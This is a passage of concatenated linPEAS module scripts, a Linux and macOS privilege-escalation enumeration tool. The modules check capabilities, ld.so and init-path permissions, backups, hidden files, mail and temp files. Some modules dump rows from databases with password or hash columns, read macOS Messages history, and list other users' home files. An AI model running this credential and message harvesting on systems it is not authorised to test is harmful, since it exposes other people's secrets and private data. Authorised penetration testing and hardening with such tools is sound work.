-${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed -${E} "s,$writeVB,${SED_RED_YELLOW},g" | sed -${E} "s,$writeB,${SED_RED},g" else ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed -${E} "s,$writeVB,${SED_RED_YELLOW},g" | sed -${E} "s,$writeB,${SED_RED},g" fi if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl || echo -n '')" ]; then #Find ACL files in macos (veeeery slow) ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed -${E} "s,$writeVB,${SED_RED_YELLOW},g" | sed -${E} "s,$writeB,${SED_RED},g" fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/4_Capabilities.sh ================================================ # Title: Interesting Permissions Files - Capabilities # ID: IP_Capabilities # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Capabilities # License: GNU GPL # Version: 1.0 # Mitre: T1548.001 # Functions Used: echo_not_found, print_2title, print_info, print_3title # Global Variables: $capsB, $capsVB, $IAMROOT, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: $cap_name, $cap_value, $cap_line, $capVB, $capname, $capbins, $capsVB_vuln, $proc_status, $proc_pid, $proc_name, $proc_uid, $user_name, $proc_inh, $proc_prm, $proc_eff, $proc_bnd, $proc_amb, $proc_inh_dec, $proc_prm_dec, $proc_eff_dec, $proc_bnd_dec, $proc_amb_dec # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Capabilities" "T1548.001" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities" if [ "$(command -v capsh || echo -n '')" ]; then print_3title "Current shell capabilities" "T1548.001" cat "/proc/$$/status" | grep Cap | while read -r cap_line; do cap_name=$(echo "$cap_line" | awk '{print $1}') cap_value=$(echo "$cap_line" | awk '{print $2}') if [ "$cap_name" = "CapEff:" ]; then # Add validation check for cap_value # For more POSIX-compliant formatting, the following could be used instead: # if echo "$cap_value" | grep -E '^[0-9a-fA-F]+$' > /dev/null 2>&1; then if [[ "$cap_value" =~ ^[0-9a-fA-F]+$ ]]; then # Memory errors can occur with certain values (e.g., ffffffffffffffff) # so we redirect stderr to prevent error propagation echo "$cap_name $(capsh --decode=0x"$cap_value" 2>/dev/null | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" else echo "$cap_name [Invalid capability format]" fi else # Add validation check for cap_value if [[ "$cap_value" =~ ^[0-9a-fA-F]+$ ]]; then # Memory errors can occur with certain values (e.g., ffffffffffffffff) # so we redirect stderr to prevent error propagation echo "$cap_name $(capsh --decode=0x"$cap_value" 2>/dev/null | sed -${E} "s,$capsB,${SED_RED},")" else echo "$cap_name [Invalid capability format]" fi fi done echo "" print_info "Parent process capabilities" cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do cap_name=$(echo "$cap_line" | awk '{print $1}') cap_value=$(echo "$cap_line" | awk '{print $2}') if [ "$cap_name" = "CapEff:" ]; then # Add validation check for cap_value if [[ "$cap_value" =~ ^[0-9a-fA-F]+$ ]]; then # Memory errors can occur with certain values (e.g., ffffffffffffffff) # so we redirect stderr to prevent error propagation echo "$cap_name $(capsh --decode=0x"$cap_value" 2>/dev/null | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" else echo "$cap_name [Invalid capability format]" fi else # Add validation check for cap_value if [[ "$cap_value" =~ ^[0-9a-fA-F]+$ ]]; then # Memory errors can occur with certain values (e.g., ffffffffffffffff) # so we redirect stderr to prevent error propagation echo "$cap_name $(capsh --decode=0x"$cap_value" 2>/dev/null | sed -${E} "s,$capsB,${SED_RED},")" else echo "$cap_name [Invalid capability format]" fi fi done echo "" print_3title "Processes with capability sets (non-zero CapEff/CapAmb, limit 40)" "T1548.001" find /proc -maxdepth 2 -path "/proc/[0-9]*/status" 2>/dev/null | head -n 400 | while read -r proc_status; do proc_pid=$(echo "$proc_status" | cut -d/ -f3) proc_name=$(awk '/^Name:/{print $2}' "$proc_status" 2>/dev/null) proc_uid=$(awk '/^Uid:/{print $2}' "$proc_status" 2>/dev/null) user_name=$(awk -F: -v uid="$proc_uid" '$3==uid{print $1; exit}' /etc/passwd 2>/dev/null) [ -z "$user_name" ] && user_name="$proc_uid" proc_inh=$(awk '/^CapInh:/{print $2}' "$proc_status" 2>/dev/null) proc_prm=$(awk '/^CapPrm:/{print $2}' "$proc_status" 2>/dev/null) proc_eff=$(awk '/^CapEff:/{print $2}' "$proc_status" 2>/dev/null) proc_bnd=$(awk '/^CapBnd:/{print $2}' "$proc_status" 2>/dev/null) proc_amb=$(awk '/^CapAmb:/{print $2}' "$proc_status" 2>/dev/null) [ -z "$proc_eff" ] && continue if [ "$proc_eff" != "0000000000000000" ] || [ "$proc_amb" != "0000000000000000" ]; then echo "PID $proc_pid ($proc_name) user=$user_name" proc_inh_dec=$(capsh --decode=0x"$proc_inh" 2>/dev/null) proc_prm_dec=$(capsh --decode=0x"$proc_prm" 2>/dev/null) proc_eff_dec=$(capsh --decode=0x"$proc_eff" 2>/dev/null) proc_bnd_dec=$(capsh --decode=0x"$proc_bnd" 2>/dev/null) proc_amb_dec=$(capsh --decode=0x"$proc_amb" 2>/dev/null) echo " CapInh: $proc_inh_dec" | sed -${E} "s,$capsB,${SED_RED},g" echo " CapPrm: $proc_prm_dec" | sed -${E} "s,$capsB,${SED_RED},g" echo " CapEff: $proc_eff_dec" | sed -${E} "s,$capsB,${SED_RED_YELLOW},g" echo " CapBnd: $proc_bnd_dec" | sed -${E} "s,$capsB,${SED_RED},g" echo " CapAmb: $proc_amb_dec" | sed -${E} "s,$capsB,${SED_RED_YELLOW},g" echo "" fi done | head -n 240 echo "" else print_3title "Current shell capabilities" "T1548.001" (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" echo "" print_3title "Parent proc capabilities" "T1548.001" (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status" echo "" fi echo "" echo "Files with capabilities (limited to 50):" getcap -r / 2>/dev/null | head -n 50 | while read cb; do capsVB_vuln="" for capVB in $capsVB; do capname="$(echo $capVB | cut -d ':' -f 1)" capbins="$(echo $capVB | cut -d ':' -f 2)" if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW}," capsVB_vuln="1" break fi done if ! [ "$capsVB_vuln" ]; then echo "$cb" | sed -${E} "s,$capsB,${SED_RED}," fi if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/5_Users_with_capabilities.sh ================================================ # Title: Interesting Permissions Files - Users with capabilities # ID: IP_Users_with_capabilities # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Users with capabilities # License: GNU GPL # Version: 1.0 # Mitre: T1548.001 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $capsB, $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: $pam_cap_lines # Fat linpeas: 0 # Small linpeas: 0 if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ] || grep -Rqs "pam_cap\.so" /etc/pam.d /etc/pam.conf 2>/dev/null; then print_2title "Users with capabilities" "T1548.001" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities" if [ -f "/etc/security/capability.conf" ]; then grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed -${E} "s,$capsB,${SED_RED},g" else echo_not_found "/etc/security/capability.conf" fi echo "" print_info "Checking if PAM loads pam_cap.so" pam_cap_lines=$(grep -RIn "pam_cap\.so" /etc/pam.d /etc/pam.conf 2>/dev/null) if [ "$pam_cap_lines" ]; then printf "%s\n" "$pam_cap_lines" | sed -${E} "s,pam_cap\\.so,${SED_RED_YELLOW},g" else echo_not_found "pam_cap.so in /etc/pam.d or /etc/pam.conf" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/6_Misconfigured_ldso.sh ================================================ # Title: Interesting Permissions Files - Misconfigured ld.so # ID: IP_Misconfigured_ldso # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Checking misconfigurations of ld.so # License: GNU GPL # Version: 1.0 # Mitre: T1574.006 # Functions Used: print_2title, print_info # Global Variables: $IAMROOT, $ITALIC, $SEARCH_IN_FOLDER, $USER, $Wfolders, $ldsoconfdG, $wgroups # Initial Functions: # Generated Global Variables: $ini_path, $fpath # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then print_2title "Checking misconfigurations of ld.so" "T1574.006" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#ldso" if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},"; printf $RED$ITALIC"/etc/ld.so.conf\n"$NC; else printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC; fi echo "Content of /etc/ld.so.conf:" cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" # Check each configured folder and include directives cat /etc/ld.so.conf 2>/dev/null | while IFS= read -r l; do l=$(echo "$l" | sed 's/#.*$//' | xargs 2>/dev/null) [ -z "$l" ] && continue if echo "$l" | grep -qE '^include[[:space:]]+'; then ini_path=$(echo "$l" | cut -d " " -f 2) fpath=$(dirname "$ini_path") if [ -d "$fpath" ] && [ -w "$fpath" ]; then echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},"; printf $RED_YELLOW$ITALIC"$fpath\n"$NC; else printf $GREEN$ITALIC"$fpath\n"$NC; fi if [ "$(find "$fpath" -type f '(' '(' -user "$USER" ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find "$fpath" -type f '(' '(' -user "$USER" ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi for f in $ini_path; do [ -f "$f" ] || continue if [ -w "$f" ]; then echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"; printf $RED_YELLOW$ITALIC"$f\n"$NC; else printf $GREEN$ITALIC" $f\n"$NC; fi cat "$f" 2>/dev/null | grep -v "^#" | while IFS= read -r l2; do l2=$(echo "$l2" | xargs 2>/dev/null) [ -z "$l2" ] && continue if [ -d "$l2" ] && [ -w "$l2" ]; then echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},"; printf $RED_YELLOW$ITALIC" - $l2\n"$NC; elif [ -d "$l2" ]; then echo $ITALIC" - $l2"$NC | sed -${E} "s,$ldsoconfdG,${SED_GREEN},g" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"; fi done done elif [ -d "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; printf $RED_YELLOW$ITALIC"$l\n"$NC; else echo $ITALIC"$l"$NC | sed -${E} "s,$ldsoconfdG,${SED_GREEN},g" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"; fi done echo "" if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},"; else printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC; fi cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" cat /etc/ld.so.preload 2>/dev/null | while read l; do if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi done fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh ================================================ # Title: Interesting Permissions Files - /etc/profile.d/ # ID: IP_Files_etc_profile_d # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Files (scripts) in /etc/profile.d/ # License: GNU GPL # Version: 1.0 # Mitre: T1546.004 # Functions Used: check_critial_root_path, echo_not_found, print_2title, print_info # Global Variables: $IAMROOT, $MACPEAS, $profiledG, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Files (scripts) in /etc/profile.d/" "T1546.004" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#profiles-files" if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" check_critial_root_path "/etc/profile" check_critial_root_path "/etc/profile.d/" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh ================================================ # Title: Interesting Permissions Files - /etc/profile.d/ # ID: IP_Files_etc_init_d # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Permissions in init, init.d, systemd, and rc.d # License: GNU GPL # Version: 1.0 # Mitre: T1543.002 # Functions Used: check_critial_root_path, print_2title, print_info # Global Variables: $IAMROOT, $MACPEAS, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Permissions in init, init.d, systemd, and rc.d" "T1543.002" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd" if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS check_critial_root_path "/etc/init/" check_critial_root_path "/etc/init.d/" check_critial_root_path "/etc/rc.d/init.d" check_critial_root_path "/usr/local/etc/rc.d" check_critial_root_path "/etc/rc.d" check_critial_root_path "/etc/systemd/" check_critial_root_path "/lib/systemd/" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/9_App_armour_profiles.sh ================================================ # Title: Interesting Permissions Files - AppArmor profiles # ID: IP_App_armour_profiles # Author: Carlos Polop # Last Update: 22-08-2023 # Description: AppArmor profiles to prevent suid/capabilities abuse # License: GNU GPL # Version: 1.0 # Mitre: T1518.001 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then print_2title "AppArmor binary profiles" "T1518.001" ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\." echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/10_Others_homes.sh ================================================ # Title: Interesting Files - Files inside /home # ID: IF_Others_homes # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Files inside /home # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: echo_not_found, print_2title # Global Variables: $HOMESEARCH, $SEARCH_IN_FOLDER, $USER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Files inside others home (limit 20)" "T1552.001" (find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/11_Mail_apps.sh ================================================ # Title: Interesting Files - Mail applications # ID: IF_Mail_apps # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Mail applications # License: GNU GPL # Version: 1.0 # Mitre: T1114.001 # Functions Used: print_2title # Global Variables: $mail_apps, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching installed mail applications" "T1114.001" ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/12_Mails.sh ================================================ # Title: Interesting Files - Mails # ID: IF_Mails # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Mails # License: GNU GPL # Version: 1.0 # Mitre: T1114.001 # Functions Used: echo_not_found, print_2title # Global Variables: $knw_usrs ,$nosh_usrs , $SEARCH_IN_FOLDER, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Mails (limit 50)" "T1114.001" (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/13_Backup_folders.sh ================================================ # Title: Interesting Files - Backup folders # ID: IF_Backup_folders # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Backup folders # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $DEBUG, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then if [ "$PSTORAGE_BACKUPS" ] || [ "$DEBUG" ]; then print_2title "Backup folders" "T1552.001" printf "%s\n" "$PSTORAGE_BACKUPS" | while read b ; do ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; ls -l "$b" 2>/dev/null && echo "" done echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/14_Backup_files.sh ================================================ # Title: Interesting Files - Backup files # ID: IF_Backup_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Backup files # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $notExtensions, $ROOT_FOLDER, $notBackup # Initial Functions: # Generated Global Variables: $backs # Fat linpeas: 0 # Small linpeas: 0 print_2title "Backup files (limited 100)" "T1552.001" backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null) printf "%s\n" "$backs" | head -n 100 | while read b ; do if [ -r "$b" ]; then ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g"; fi; done echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/15_Db_files.sh ================================================ # Title: Interesting Files - DB files # ID: IF_Db_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching tables inside readable .db/.sql/.sqlite files # License: GNU GPL # Version: 1.0 # Mitre: T1005 # Functions Used: print_2title # Global Variables: $DEBUG, $HOME, $MACPEAS # Initial Functions: # Generated Global Variables: $FILECMD, $SQLITEPYTHON, $tables, $columns, $INTCOLUMN # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ]; then print_2title "Reading messages database" "T1005" sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null fi if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" "T1005" FILECMD="$(command -v file 2>/dev/null || echo -n '')" printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do if [ "$FILECMD" ]; then echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; else echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; fi done SQLITEPYTHON="" echo "" printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd if [ "$(command -v sqlite3 2>/dev/null || echo -n '')" ]; then tables=$(sqlite3 $f ".tables" 2>/dev/null) #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" elif [ "$(command -v python 2>/dev/null || echo -n '')" ] || [ "$(command -v python3 2>/dev/null || echo -n '')" ]; then SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null || echo -n '') tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null) #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" else tables="" fi if [ "$tables" ] || [ "$DEBUG" ]; then printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC printf "%s\n" "$tables" | while read t; do columns="" # Search for credentials inside the table using sqlite3 if [ -z "$SQLITEPYTHON" ]; then columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE") # Search for credentials inside the table using python else columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null) fi #Check found columns for interesting fields INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt") if [ "$INTCOLUMN" ]; then printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g" printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g" (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head echo "" fi done fi fi done fi echo "" if [ "$MACPEAS" ]; then print_2title "Downloaded Files" "T1005" sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/16_Macos_downloaded_files.sh ================================================ # Title: Interesting Files - DB files # ID: IF_Macos_downloaded_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check which files have been downloaded # License: GNU GPL # Version: 1.0 # Mitre: T1005 # Functions Used: print_2title # Global Variables: $MACPEAS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ]; then print_2title "Downloaded Files" "T1005" sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/17_Web_files.sh ================================================ # Title: Interesting Files - Web files # ID: IF_Web_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Web files # License: GNU GPL # Version: 1.0 # Mitre: T1005 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Web files?(output limit)" "T1005" ls -alhR /var/www/ 2>/dev/null | head ls -alhR /srv/www/htdocs/ 2>/dev/null | head ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/18_Hidden_files.sh ================================================ # Title: Interesting Files - All hidden files # ID: IF_Hidden_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get all relevant hidden files # License: GNU GPL # Version: 1.0 # Mitre: T1564.001 # Functions Used: print_2title # Global Variables:$INT_HIDDEN_FILES, $ROOT_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" "T1564.001" find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70 echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/19_Readable_files_tmp_backups.sh ================================================ # Title: Interesting Files - Readable files in /tmp, /var/tmp, backups # ID: IF_Readable_files_tmp_backups # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Readable files in /tmp, /var/tmp, backups # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $backup_folders_row, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: $filstmpback # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" "T1552.001" filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70) printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh ================================================ # Title: Interesting Files - .sh files in path # ID: IF_Sh_files_in_PATH # Author: Carlos Polop # Last Update: 22-08-2023 # Description: finds .sh files in path # License: GNU GPL # Version: 1.0 # Mitre: T1574.007 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $IAMROOT, $SEARCH_IN_FOLDER, $shscripsG, $Wfolders, $PATH # Initial Functions: # Generated Global Variables: $broken_links # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title ".sh files in path" "T1574.007" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path" echo $PATH | tr ":" "\n" | while read d; do for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do if ! [ "$IAMROOT" ] && [ -O "$f" ]; then echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," else echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; fi done done echo "" broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken) if [ "$broken_links" ] || [ "$DEBUG" ]; then print_2title "Broken links in path" "T1574.007" echo $PATH | tr ":" "\n" | while read d; do find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},"; done echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/20_Passwords_history_cmd.sh ================================================ # Title: Interesting Files - Passwords in history cmd # ID: IF_Passwords_history_cmd # Author: Carlos Polop # Last Update: 22-08-2023 